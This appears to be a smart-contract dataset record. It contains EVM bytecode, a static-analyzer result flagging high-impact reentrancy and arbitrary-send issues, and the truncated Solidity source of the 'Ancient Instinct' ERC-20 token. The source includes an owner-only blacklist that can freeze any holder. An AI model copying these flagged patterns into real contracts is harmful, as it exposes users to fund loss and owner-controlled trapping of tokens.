0000000000000000000000815260040161158e90612eca565b60405180910390fd5b6007600a819055506007600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576007600a819055506007600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f82330d4953408994b9849cfd0b43953ae3e208ff702454679cd1c25485985b664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,462 |
0x22933efe00f8cbae6aaf66f6e17457222e5b9803
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
/*
██ ███ ██ ███████ ████████ ██ ███ ██ ██████ ████████
██ ████ ██ ██ ██ ██ ████ ██ ██ ██
██ ██ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ████ ███████ ██ ██ ██ ████ ██████ ██
█████ ███ ██ ██████ ██ ███████ ███ ██ ████████ ██ ███ ██ ███████ ████████ ██ ███ ██ ██████ ████████
██ ██ ████ ██ ██ ██ ██ ████ ██ ██ ██ ████ ██ ██ ██ ██ ████ ██ ██ ██
███████ ██ ██ ██ ██ ██ █████ ██ ██ ██ ██ ██ ██ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ████ ██████ ██ ███████ ██ ████ ██ ██ ██ ████ ███████ ██ ██ ██ ████ ██████ ██
*/
// Babe, will you please turn on google maps?
// No. Ancient instinct will guide me.
// TG: @InstinctTokenPortal
// TG: @InstinctTokenPortal
// TG: @InstinctTokenPortal
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract INSTINCT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ancient Instinct";
string private constant _symbol = "INSTINCT";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 3;
uint256 private _taxFeeJeets = 7;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x36c7FE01Cd950Bd0a2850575Cf5C1F7E01bB1149);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e10 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
